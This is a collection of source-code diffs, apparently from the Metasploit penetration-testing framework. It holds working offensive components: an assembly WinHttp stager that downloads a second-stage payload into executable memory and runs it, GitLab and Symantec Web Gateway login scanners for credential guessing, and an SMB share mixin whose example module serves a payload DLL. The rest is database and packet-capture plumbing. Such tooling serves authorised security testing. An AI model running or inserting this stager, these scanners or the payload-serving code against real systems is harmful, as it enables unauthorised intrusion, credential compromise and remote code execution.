%define HTTP_OPEN_FLAGS 0x00000100
;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
; Input: EBP must be the address of 'api_call'.
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_winhttp:
push 0x00707474 ; Push the string 'winhttp',0
push 0x686E6977 ; ...
push esp ; Push a pointer to the "winhttp" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "winhttp" )
set_retry:
push byte 6 ; retry 6 times
pop EDI
xor ebx, ebx
mov ecx, edi
push_zeros:
push ebx ; NULL values for the WinHttpOpen API parameters
loop push_zeros
WinHttpOpen:
; Flags [5]
; ProxyBypass (NULL) [4]
; ProxyName (NULL) [3]
; AccessType (DEFAULT_PROXY= 0) [2]
; UserAgent (NULL) [1]
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
call ebp
WinHttpConnect:
push ebx ; Reserved (NULL) [4]
push dword 4444 ; Port [3]
call got_server_uri ; Double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
dw u('/12345'), 0
got_server_host:
push eax ; Session handle returned by WinHttpOpen [1]
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
call ebp
WinHttpOpenRequest:
push HTTP_OPEN_FLAGS ; Flags [7]
push ebx ; AcceptTypes (NULL) [6]
push ebx ; Referrer (NULL) [5]
push ebx ; Version (NULL) [4]
push edi ; ObjectName (URI) [3]
push ebx ; Verb (GET method) (NULL) [2]
push eax ; Connect handler returned by WinHttpConnect [1]
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
call ebp
xchg esi, eax ; save HttpRequest handler in esi
send_request:
WinHttpSendRequest:
push ebx ; Context [7]
push ebx ; TotalLength [6]
push ebx ; OptionalLength (0) [5]
push ebx ; Optional (NULL) [4]
push ebx ; HeadersLength (0) [3]
push ebx ; Headers (NULL) [2]
push esi ; HttpRequest handler returned by WinHttpOpenRequest [1]
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
call ebp
test eax,eax
jnz short receive_response ; if TRUE call WinHttpReceiveResponse API
try_it_again:
dec edi
jnz send_request
; if we didn't allocate before running out of retries, fall through to
; failure
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handler for WinHttpReadData
push ebx ; Reserved (NULL) [2]
push esi ; Request handler returned by WinHttpSendRequest [1]
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
call ebp
test eax,eax
jz failure
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; NumberOfBytesRead (bytesRead)
push 8192 ; NumberOfBytesToRead
push ebx ; Buffer
push esi ; Request handler returned by WinHttpReceiveResponse
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
call ebp
test eax,eax ; if download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
got_server_uri:
pop edi
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
server_host:

View File

@ -0,0 +1,19 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Borja Merino (bmerinofe[at]gmail.com). [WinHttp stager (Http)]
; Version: 1.0 (January 2015)
; Size: 323 bytes
; Build: >build.py stager_reverse_winhttp_http
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_reverse_winhttp_http.asm"
; By here we will have performed the reverse_tcp connection and EDI will be our socket.

View File

@ -51,7 +51,7 @@ module Metasploit
# These values should be #demodularized from subclasses of
# `Metasploit::Credential::Private`
validates :private_type,
inclusion: { in: [ :password, :ntlm_hash, :ssh_key ] },
inclusion: { in: [ :password, :ntlm_hash, :postgres_md5, :ssh_key ] },
if: "private_type.present?"
# If we have no private we MUST have a public

View File

@ -210,6 +210,8 @@ class Metasploit::Framework::CredentialCollection
def private_type(private)
if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/
:ntlm_hash
elsif private =~ /^md5([a-f0-9]{32})$/
:postgres_md5
else
:password
end

View File

@ -0,0 +1,96 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# GitLab login scanner
class GitLab < HTTP
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
CAN_GET_SESSION = false
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# (see Base#set_sane_defaults)
def set_sane_defaults
self.uri = '/users/sign_in' if uri.nil?
self.method = 'POST' if method.nil?
super
end
def attempt_login(credential)
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp',
service_name: ssl ? 'https' : 'http'
}
begin
cli = Rex::Proto::Http::Client.new(host,
port,
{
'Msf' => framework,
'MsfExploit' => framework_module
},
ssl,
ssl_version,
proxies)
configure_http_client(cli)
cli.connect
# Get a valid session cookie and authenticity_token for the next step
req = cli.request_cgi(
'method' => 'GET',
'cookie' => 'request_method=GET',
'uri' => uri
)
res = cli.send_recv(req)
if res.body.include? 'user[email]'
user_field = 'user[email]'
elsif res.body.include? 'user[login]'
user_field = 'user[login]'
else
fail RuntimeError, 'Not a valid GitLab login page'
end
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
fail RuntimeError, 'Unable to get Session Cookie' unless local_session_cookie
fail RuntimeError, 'Unable to get Authentication Token' unless auth_token
# Perform the actual login
req = cli.request_cgi(
'method' => 'POST',
'cookie' => local_session_cookie,
'uri' => uri,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
"#{user_field}" => credential.public,
'user[password]' => credential.private,
'user[remember_me]' => 0
}
)
res = cli.send_recv(req)
if res && res.code == 302
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
ensure
cli.close
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -62,6 +62,11 @@ module Metasploit
end
rescue Rex::ConnectionError, EOFError, Timeout::Error => e
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
rescue Msf::Db::PostgresPR::AuthenticationMethodMismatch => e
result_options.merge!({
status: Metasploit::Model::Login::Status::INCORRECT,
proof: e.message
})
end
if pg_conn

View File

@ -0,0 +1,149 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
class SymantecWebGateway < HTTP
DEFAULT_PORT = 443
PRIVATE_TYPES = [ :password ]
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
# Checks if the target is Symantec Web Gateway. The login module should call this.
#
# @return [Boolean] TrueClass if target is SWG, otherwise FalseClass
def check_setup
login_uri = normalize_uri("#{uri}/spywall/login.php")
res = send_request({'uri'=> login_uri})
if res && res.body.include?('Symantec Web Gateway')
return true
end
false
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Request#request_raw)
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
res = nil
cli = Rex::Proto::Http::Client.new(host, port,
{
'Msf' => framework,
'MsfExploit' => framework_module
},
ssl,
ssl_version,
proxies
)
configure_http_client(cli)
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::Errno::EPIPE, ::Timeout::Error => e
# We are trying to mimic the same type of exception rescuing in
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
# raise Rex::ConnectionError so the #attempt_login can return the error message back
# to the login module.
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Returns the latest sid from Symantec Web Gateway.
#
# @returns [String] The PHP Session ID for Symantec Web Gateway login
def get_last_sid
@last_sid ||= lambda {
# We don't have a session ID. Well, let's grab one right quick from the login page.
# This should probably only happen once (initially).
login_uri = normalize_uri("#{uri}/spywall/login.php")
res = send_request({'uri' => login_uri})
return '' unless res
cookies = res.get_cookies
@last_sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
}.call
end
# Actually doing the login. Called by #attempt_login
#
# @param username [String] The username to try
# @param password [String] The password to try
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def get_login_state(username, password)
# Prep the data needed for login
sid = get_last_sid
protocol = ssl ? 'https' : 'http'
peer = "#{host}:#{port}"
login_uri = normalize_uri("#{uri}/spywall/login.php")
res = send_request({
'uri' => login_uri,
'method' => 'POST',
'cookie' => sid,
'headers' => {
'Referer' => "#{protocol}://#{peer}/#{login_uri}"
},
'vars_post' => {
'USERNAME' => username,
'PASSWORD' => password,
'loginBtn' => 'Login' # Found in the HTML form
}
})
unless res
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
end
# After login, the application should give us a new SID
cookies = res.get_cookies
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
@last_sid = sid # Update our SID
if res.headers['Location'].to_s.include?('executive_summary.php') && !sid.blank?
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.to_s}
end
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
end
# Attempts to login to Symantec Web Gateway. This is called first.
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = { credential: credential }
begin
result_opts.merge!(get_login_state(credential.public, credential.private))
rescue ::Rex::ConnectionError => e
# Something went wrong during login. 'e' knows what's up.
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -44,7 +44,7 @@ module Metasploit
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
if untested_payloads_pathname.exist?
tool_path = 'tools/missing-payload-tests.rb'
tool_path = 'tools/missing_payload_tests.rb'
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."

View File

@ -15,7 +15,7 @@ module MeterpreterOptions
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", true]),
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"])
], self.class)
end

View File

@ -51,12 +51,13 @@ module Payload
# Generate the payload
e = EncodedPayload.create(payload,
'BadChars' => opts['BadChars'],
'MinNops' => opts['NopSledSize'],
'Encoder' => opts['Encoder'],
'BadChars' => opts['BadChars'],
'MinNops' => opts['NopSledSize'],
'Encoder' => opts['Encoder'],
'Iterations' => opts['Iterations'],
'ForceEncode' => opts['ForceEncode'],
'Space' => opts['MaxSize'])
'DisableNops' => opts['DisableNops'],
'Space' => opts['MaxSize'])
fmt = opts['Format'] || 'raw'

View File

@ -540,6 +540,13 @@ module Auxiliary::AuthBrute
::IO.select(nil,nil,nil,sleep_time) unless sleep_time == 0
end
# See #print_brute
def vprint_brute(opts={})
if datastore['VERBOSE']
print_brute(opts)
end
end
# Provides a consistant way to display messages about AuthBrute-mixed modules.
# Acceptable opts are fairly self-explanitory, but :level can be tricky.
#

View File

@ -374,6 +374,18 @@ class Export
report_file.write(" #{el}\n")
end
# Notes attached to vulns instead of the host
report_file.write(" <notes>\n")
@notes.where(vuln_id: e.id).each do |note|
report_file.write(" <note>\n")
note.attributes.each_pair do |k,v|
el = create_xml_element(k,v)
report_file.write(" #{el}\n")
end
report_file.write(" </note>\n")
end
report_file.write(" </notes>\n")
# References
report_file.write(" <refs>\n")
e.refs.each do |ref|

View File

@ -73,7 +73,7 @@ module Msf::DBManager::Host
# address
#
def normalize_host(host)
return host if host.kind_of? ::Mdm::Host
return host if defined?(::Mdm) and host.kind_of? ::Mdm::Host
norm_host = nil
if (host.kind_of? String)
@ -92,7 +92,7 @@ module Msf::DBManager::Host
else
norm_host = Rex::Socket.getaddress(host, true)
end
elsif host.kind_of? ::Mdm::Session
elsif defined?(::Mdm) and host.kind_of? ::Mdm::Session
norm_host = host.host
elsif host.respond_to?(:session_host)
# Then it's an Msf::Session object

View File

@ -64,6 +64,30 @@ module Msf::DBManager::Import::MetasploitFramework::XML
import_msf_xml(args.merge(:data => data))
end
# Imports `Mdm::Note` objects from the XML element.
#
# @param note [REXML::Element] The Note element
# @param allow_yaml [Boolean] whether to allow yaml
# @param note_data [Hash] hash containing note attributes to be passed along
# @return [void]
def import_msf_note_element(note, allow_yaml, note_data={})
note_data[:type] = nils_for_nulls(note.elements["ntype"].text.to_s.strip)
note_data[:data] = nils_for_nulls(unserialize_object(note.elements["data"], allow_yaml))
if note.elements["critical"].text
note_data[:critical] = true unless note.elements["critical"].text.to_s.strip == "NULL"
end
if note.elements["seen"].text
note_data[:seen] = true unless note.elements["critical"].text.to_s.strip == "NULL"
end
%W{created-at updated-at}.each { |datum|
if note.elements[datum].text
note_data[datum.gsub("-","_")] = nils_for_nulls(note.elements[datum].text.to_s.strip)
end
}
report_note(note_data)
end
# Imports web_form element using {Msf::DBManager#report_web_form}.
#
# @param element [REXML::Element] web_form element.
@ -280,21 +304,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
note_data = {}
note_data[:workspace] = wspace
note_data[:host] = hobj
note_data[:type] = nils_for_nulls(note.elements["ntype"].text.to_s.strip)
note_data[:data] = nils_for_nulls(unserialize_object(note.elements["data"], allow_yaml))
if note.elements["critical"].text
note_data[:critical] = true unless note.elements["critical"].text.to_s.strip == "NULL"
end
if note.elements["seen"].text
note_data[:seen] = true unless note.elements["critical"].text.to_s.strip == "NULL"
end
%W{created-at updated-at}.each { |datum|
if note.elements[datum].text
note_data[datum.gsub("-","_")] = nils_for_nulls(note.elements[datum].text.to_s.strip)
end
}
report_note(note_data)
import_msf_note_element(note,allow_yaml,note_data)
end
host.elements.each('tags/tag') do |tag|
@ -335,6 +345,13 @@ module Msf::DBManager::Import::MetasploitFramework::XML
vobj = report_vuln(vuln_data)
vuln.elements.each("notes/note") do |note|
note_data = {}
note_data[:workspace] = wspace
note_data[:vuln_id] = vobj.id
import_msf_note_element(note,allow_yaml,note_data)
end
vuln.elements.each("vuln_details/vuln_detail") do |vdet|
vdet_data = {}
vdet.elements.each do |det|

View File

@ -124,6 +124,7 @@ module Msf::DBManager::Note
conditions = { :ntype => ntype }
conditions[:host_id] = host[:id] if host
conditions[:service_id] = service[:id] if service
conditions[:vuln_id] = opts[:vuln_id]
case mode
when :unique
@ -162,6 +163,9 @@ module Msf::DBManager::Note
note.ntype = ntype
note.data = data
end
if opts[:vuln_id]
note.vuln_id = opts[:vuln_id]
end
msf_import_timestamps(opts,note)
note.save!
ret[:note] = note

View File

@ -45,29 +45,8 @@ module Msf::DBManager::Vuln
end
def find_vuln_by_refs(refs, host, service=nil)
vuln = nil
# Try to find an existing vulnerability with the same service & references
# If there are multiple matches, choose the one with the most matches
if service
refs_ids = refs.map{|x| x.id }
vuln = service.vulns.where({ 'refs.id' => refs_ids }).includes(:refs).sort { |a,b|
( refs_ids - a.refs.map{|x| x.id } ).length <=> ( refs_ids - b.refs.map{|x| x.id } ).length
}.first
end
# Return if we matched based on service
return vuln if vuln
# Try to find an existing vulnerability with the same host & references
# If there are multiple matches, choose the one with the most matches
refs_ids = refs.map{|x| x.id }
vuln = host.vulns.where({ 'service_id' => nil, 'refs.id' => refs_ids }).includes(:refs).sort { |a,b|
( refs_ids - a.refs.map{|x| x.id } ).length <=> ( refs_ids - b.refs.map{|x| x.id } ).length
}.first
return vuln
ref_ids = refs.find_all { |ref| ref.name.starts_with? 'CVE-'}
host.vulns.joins(:refs).where(service_id: service.try(:id), refs: { id: ref_ids}).first
end
def get_vuln(wspace, host, service, name, data='')

View File

@ -30,7 +30,7 @@ module Msf::DBManager::Workspace
def workspaces
::ActiveRecord::Base.connection_pool.with_connection {
::Mdm::Workspace.all
::Mdm::Workspace.order('updated_at asc').all
}
end
end

View File

@ -34,6 +34,7 @@ class EncodedPayload
self.framework = framework
self.pinst = pinst
self.reqs = reqs
self.space = reqs['Space']
end
#
@ -64,6 +65,9 @@ class EncodedPayload
# First, validate
pinst.validate()
# Tell the payload how much space is available
pinst.available_space = self.space
# Generate the raw version of the payload first
generate_raw() if self.raw.nil?
@ -90,7 +94,7 @@ class EncodedPayload
#
# @return [String] The raw, unencoded payload.
def generate_raw
self.raw = (reqs['Prepend'] || '') + pinst.generate + (reqs['Append'] || '')
self.raw = (reqs['Prepend'] || '') + pinst.generate_complete + (reqs['Append'] || '')
# If an encapsulation routine was supplied, then we should call it so
# that we can get the real raw payload.
@ -191,6 +195,9 @@ class EncodedPayload
next
end
# Tell the encoder how much space is available
self.encoder.available_space = self.space
eout = self.raw.dup
next_encoder = false
@ -456,7 +463,10 @@ class EncodedPayload
# The number of encoding iterations used
#
attr_reader :iterations
#
# The maximum number of bytes acceptable for the encoded payload
#
attr_reader :space
protected
attr_writer :raw # :nodoc:
@ -467,6 +477,7 @@ protected
attr_writer :encoder # :nodoc:
attr_writer :nop # :nodoc:
attr_writer :iterations # :nodoc:
attr_writer :space # :nodoc
#
# The payload instance used to generate the payload

View File

@ -434,6 +434,12 @@ class Encoder < Module
false
end
#
# The amount of space available to the encoder, which may be nil,
# indicating that the smallest possible encoding should be used.
#
attr_accessor :available_space
protected
#

View File

@ -42,7 +42,7 @@ module Msf
[
true,
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
'www.metasploit.com']),
'8.8.8.8']),
OptPort.new('GATEWAY_PROBE_PORT',
[
false,
@ -143,7 +143,6 @@ module Msf
return unless self.capture
self.capture = nil
self.arp_capture = nil
GC.start()
end
def capture_extract_ies(raw)
@ -163,26 +162,15 @@ module Msf
end
#
# This monstrosity works around a series of bugs in the interrupt
# signal handling of Ruby 1.9
# Loop through each packet
#
def each_packet
return unless capture
begin
@capture_count = 0
reader = framework.threads.spawn("PcapReceiver", false) do
capture.each do |pkt|
yield(pkt)
@capture_count += 1
end
end
reader.join
rescue ::Exception
raise $!
ensure
reader.kill if reader.alive?
@capture_count ||= 0
capture.each do |pkt|
yield(pkt)
@capture_count += 1
end
@capture_count
end
@ -242,10 +230,9 @@ module Msf
pcap.inject(pkt)
Rex.sleep((delay * 1.0)/1000)
end
GC.start
end
# Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
# capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
# a payload and a destination address. To send to the broadcast address, set bcast
# to true (this will guarantee that packets will be sent even if ARP doesn't work
# out).
@ -262,24 +249,20 @@ module Msf
# The return value either be a PacketFu::Packet object, or nil
def inject_reply(proto=:udp, pcap=self.capture)
reply = nil
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
if not pcap
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)"
else
begin
::Timeout.timeout(to) do
pcap.each do |r|
packet = PacketFu::Packet.parse(r)
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
reply = packet
break
end
# Defaults to ~2 seconds
to = (datastore['TIMEOUT'] * 4) / 1000.0
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap
begin
::Timeout.timeout(to) do
pcap.each do |r|
packet = PacketFu::Packet.parse(r)
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
return packet
end
rescue ::Timeout::Error
end
rescue ::Timeout::Error
end
return reply
nil
end
# This ascertains the correct Ethernet addresses one should use to
@ -328,20 +311,19 @@ module Msf
end
begin
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
::Timeout.timeout(to) do
while (my_packet = inject_reply(:udp, self.arp_capture))
if my_packet.payload == secret
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
return [dst_mac, src_mac]
else
next
end
loop do
my_packet = inject_reply(:udp, self.arp_capture)
next unless my_packet
next unless my_packet.payload == secret
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
return [dst_mac, src_mac]
end
end
rescue ::Timeout::Error
# Well, that didn't work (this common on networks where there's no gatway, like
# Well, that didn't work (this is common on networks where there's no gateway, like
# VMWare network interfaces. We'll need to use a fake source hardware address.
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
end
@ -354,26 +336,31 @@ module Msf
return self.arp_cache[:gateway] unless should_arp? target_ip
source_ip = Rex::Socket.source_address(target_ip)
raise RuntimeError, "Could not access the capture process." unless self.arp_capture
p = arp_packet(target_ip, source_ip)
inject_eth(:eth_type => 0x0806,
:payload => p,
:pcap => self.arp_capture,
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
)
begin
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
::Timeout.timeout(to) do
while (my_packet = inject_reply(:arp, self.arp_capture))
if my_packet.arp_saddr_ip == target_ip
# Try up to 3 times to get an ARP response
1.upto(3) do
inject_eth(:eth_type => 0x0806,
:payload => p,
:pcap => self.arp_capture,
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
)
begin
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
::Timeout.timeout(to) do
loop do
my_packet = inject_reply(:arp, self.arp_capture)
next unless my_packet
next unless my_packet.arp_saddr_ip == target_ip
self.arp_cache[target_ip] = my_packet.eth_saddr
return self.arp_cache[target_ip]
else
next
end
end
rescue ::Timeout::Error
end
rescue ::Timeout::Error
end
nil
end
# Creates a full ARP packet, mainly for use with inject_eth()

View File

@ -76,7 +76,6 @@ module Exploit::Remote::Ipv6
return if not @ipv6_icmp6_capture
@ipv6_icmp6_capture = nil
GC.start()
end
#

View File

@ -32,6 +32,7 @@ require 'msf/core/exploit/smb/client'
require 'msf/core/exploit/smb/client/authenticated'
require 'msf/core/exploit/smb/client/psexec'
require 'msf/core/exploit/smb/server'
require 'msf/core/exploit/smb/server/share'
require 'msf/core/exploit/ftp'
require 'msf/core/exploit/tftp'
require 'msf/core/exploit/telnet'

View File

@ -483,7 +483,7 @@ module Msf
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
ua = request.headers['User-Agent'] || ''
init_profile(tag)
print_status("Sending response HTML.")
print_status("Sending HTML response.")
html = get_detection_html(ua)
send_response(cli, html, {'Set-Cookie' => cookie_header(tag)})

View File

@ -133,11 +133,18 @@ module Msf
pkt = CONST::SMB_BASE_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags1'] = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
if esn
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
pkt['Payload']['SMB'].v['Flags2'] =
CONST::FLAGS2_UNICODE_STRINGS +
CONST::FLAGS2_EXTENDED_SECURITY +
CONST::FLAGS2_32_BIT_ERROR_CODES +
CONST::FLAGS2_LONG_PATH_COMPONENTS
else
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['Flags2'] =
CONST::FLAGS2_UNICODE_STRINGS +
CONST::FLAGS2_32_BIT_ERROR_CODES +
CONST::FLAGS2_LONG_PATH_COMPONENTS
end
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
c.put(pkt.to_s)

View File

@ -0,0 +1,303 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'rex/proto/smb'
require 'rex/text'
require 'rex/logging'
require 'rex/struct2'
require 'rex/proto/smb/constants'
require 'rex/proto/smb/utils'
require 'rex/proto/dcerpc'
module Msf
module Exploit::Remote::SMB::Server
# This mixin provides a minimal SMB server sharing an UNC resource. At
# this moment it is capable to share just one file. And the file should
# live in the root folder "\\".
#
# @example Use it from an Auxiliary module
# require 'msf/core'
#
# class Metasploit3 < Msf::Auxiliary
#
# include Msf::Exploit::Remote::SMB::Server::Share
#
# def initialize
# super(
# 'Name' => 'SMB File Server',
# 'Description' => %q{
# This module provides a SMB File Server service
# },
# 'Author' =>
# [
# 'Matthew Hall',
# 'juan vazquez'
# ],
# 'License' => MSF_LICENSE,
# 'Actions' =>
# [
# ['Service']
# ],
# 'PassiveActions' =>
# [
# 'Service'
# ],
# 'DefaultAction' => 'Service'
# )
# end
#
# def run
# print_status("Starting SMB Server on #{unc}...")
# exploit
# end
#
# def primer
# print_status("Primer...")
# self.file_contents = 'METASPLOIT'
# end
# end
#
# @example Use it from an Exploit module
# require 'msf/core'
#
# class Metasploit3 < Msf::Exploit::Remote
# Rank = ExcellentRanking
#
# include Msf::Exploit::EXE
# include Msf::Exploit::Remote::SMB::Server::Share
#
# def initialize(info={})
# super(update_info(info,
# 'Name' => "Example Exploit",
# 'Description' => %q{
# Example exploit, the Server shares a DLL embedding the payload. A session
# can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from
# from the target.
# },
# 'License' => MSF_LICENSE,
# 'Author' =>
# [
# 'Matthew Hall',
# 'juan vazquez'
# ],
# 'References' =>
# [
# ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
# ],
# 'Payload' =>
# {
# 'Space' => 2048,
# 'DisableNops' => true
# },
# 'Platform' => 'win',
# 'Targets' =>
# [
# ['Windows XP SP3 / Windows 2003 SP2', {}],
# ],
# 'Privileged' => false,
# 'DisclosureDate' => "Mar 02 2015",
# 'DefaultTarget' => 0))
#
# register_options(
# [
# OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll'])
# ], self.class)
#
# deregister_options('FILE_CONTENTS')
# end
#
# def primer
# self.file_contents = generate_payload_dll
# print_status("File available on #{unc}...")
# end
# end
module Share
require 'msf/core/exploit/smb/server/share/command'
require 'msf/core/exploit/smb/server/share/information_level'
include Msf::Exploit::Remote::SMB::Server::Share::Command::Close
include Msf::Exploit::Remote::SMB::Server::Share::Command::Negotiate
include Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx
include Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndx
include Msf::Exploit::Remote::SMB::Server::Share::Command::SessionSetupAndx
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::FindFirst2
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryFileInformation
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryPathInformation
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Find
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Query
include Msf::Exploit::Remote::SMB::Server
FLAGS = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
FLAGS2 = CONST::FLAGS2_UNICODE_STRINGS |
CONST::FLAGS2_EXTENDED_SECURITY |
CONST::FLAGS2_32_BIT_ERROR_CODES |
CONST::FLAGS2_LONG_PATH_COMPONENTS
CAPABILITIES = CONST::CAP_UNIX_EXTENSIONS |
CONST::CAP_LARGE_WRITEX |
CONST::CAP_LARGE_READX |
CONST::CAP_PASSTHRU |
CONST::CAP_DFS |
CONST::CAP_NT_FIND |
CONST::CAP_LOCK_AND_READ |
CONST::CAP_LEVEL_II_OPLOCKS |
CONST::CAP_STATUS32 |
CONST::CAP_RPC_REMOTE_APIS |
CONST::CAP_NT_SMBS |
CONST::CAP_LARGE_FILES |
CONST::CAP_UNICODE |
CONST::CAP_RAW_MODE
CREATE_MAX_ACCESS = CONST::SMB_READ_ACCESS |
CONST::SMB_WRITE_ACCESS |
CONST::SMB_APPEND_ACCESS |
CONST::SMB_READ_EA_ACCESS |
CONST::SMB_WRITE_EA_ACCESS |
CONST::SMB_EXECUTE_ACCESS |
CONST::SMB_DELETE_CHILD_ACCESS |
CONST::SMB_READ_ATTRIBUTES_ACCESS |
CONST::SMB_WRITE_ATTRIBUTES_ACCESS |
CONST::SMB_DELETE_ACCESS |
CONST::SMB_READ_CONTROL_ACCESS |
CONST::SMB_WRITE_DAC_ACCESS |
CONST::SMB_WRITE_OWNER_ACCESS |
